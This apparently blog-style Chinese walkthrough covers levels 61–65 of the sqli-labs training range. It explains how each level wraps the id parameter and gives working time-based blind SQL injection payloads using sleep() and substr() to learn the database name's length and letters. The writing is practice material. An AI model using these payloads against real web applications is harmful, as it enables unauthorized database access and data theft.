六十一关
这一关和前面几关一样,不过这关使用 双括号+单引号 接受参数。
虽然过关操作一样,但是我们还是要多过几遍,熟能生巧!!!
六十二关
这一关有130次机会,那种注入需要这么多次数呢?没错!延时注入 和 布尔注入。
我们可以简单的判断出这关参数的接受方式是:括号 + 单引号。
我们来判断下数据库的长度:
?id=1') and if(length(database())>9,sleep(5),1)--+ 页面多停了5秒,如下图:
?id=1') and if(length(database())>10,sleep(5),1)--+ 页面正常缓冲,说明数据库长度为10
其实由前面的关卡我们知道了数据库名为challenges,正好10,说明我们的判断没错!
我们来判断数据库名第一位:
?id=1') and if(substr((select database()),1,1)='e',sleep(5),1) --+ 页面正常缓冲
?id=1') and if(substr((select database()),1,1)='c',sleep(5),1) --+ 页面多停了5秒
后面的就不搞了,兄弟们!靶场学的是思路,多过几次是为了得心应手。
六十三关
这一关和六十二关类似,只是这关是单引号接受参数!
我们来判断数据库名第一位:
?id=1' and if(substr((select database()),1,1)='e',sleep(5),1) --+ 页面正常缓冲
?id=1' and if(substr((select database()),1,1)='c',sleep(5),1) --+ 页面多停了5秒
六十四关
这一关和六十二关类似,只是这关是双括号接受参数!
我们来判断数据库名第一位:
?id=1)) and if(substr((select database()),1,1)='e',sleep(5),1) --+ 页面正常缓冲
?id=1)) and if(substr((select database()),1,1)='c',sleep(5),1) --+ 页面多停了5秒
六十五关
这一关和六十二关类似,只是这关是单括号+双引号接受参数!
我们来判断数据库名第一位:
?id=1") and if(substr((select database()),1,1)='e',sleep(5),1) --+ 页面正常缓冲
?id=1") and if(substr((select database()),1,1)='c',sleep(5),1) --+ 页面多停了5秒
总结:
(1)在这5关中,我们进一步熟练了SQL注入实战。
(2)过完整个sqliabs65关,我们学到了其中重要的一个点,猜参数的接受方式,我们总结下:
数字型:id = &id
字符型:id = '&id' , id = "&id"
数字型进化:id = (&id) id = ((&id))
字符型进化:id = ('&id') id = (('&id')) id = ("&id") id = (("&id"))
其他的目前我没遇到过。如果有,大家评论区说下,互相进步!!!
至此,sqliabs六十五关全部通关,申请起飞!